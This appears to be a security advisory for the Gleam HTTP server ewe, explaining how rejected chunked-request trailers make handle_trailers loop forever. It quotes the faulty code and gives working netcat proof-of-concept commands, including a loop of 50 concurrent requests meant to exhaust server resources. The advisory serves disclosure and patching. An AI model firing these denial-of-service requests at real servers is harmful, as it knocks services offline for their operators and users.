"details": "## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -> handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 &\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n req: Request(BitArray),\n set: Set(String),\n rest: Buffer,\n) -> Request(BitArray) {\n case decoder.decode_packet(HttphBin, rest) {\n Ok(Packet(HttpEoh, _)) -> req\n Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {\n // ... field name parsing ...\n case field_name {\n Ok(field_name) -> {\n case\n set.contains(set, field_name) && !is_forbidden_trailer(field_name)\n {\n True -> {\n case bit_array.to_string(value) {\n Ok(value) -> {\n request.set_header(req, field_name, value)\n |> handle_trailers(set, Buffer(header_rest, 0)) // correct\n }\n Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 520\n }\n }\n False -> handle_trailers(req, set, rest) // BUG: line 523\n }\n }\n Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 526\n }\n }\n _ -> req\n }\n}\n```",
0 commit comments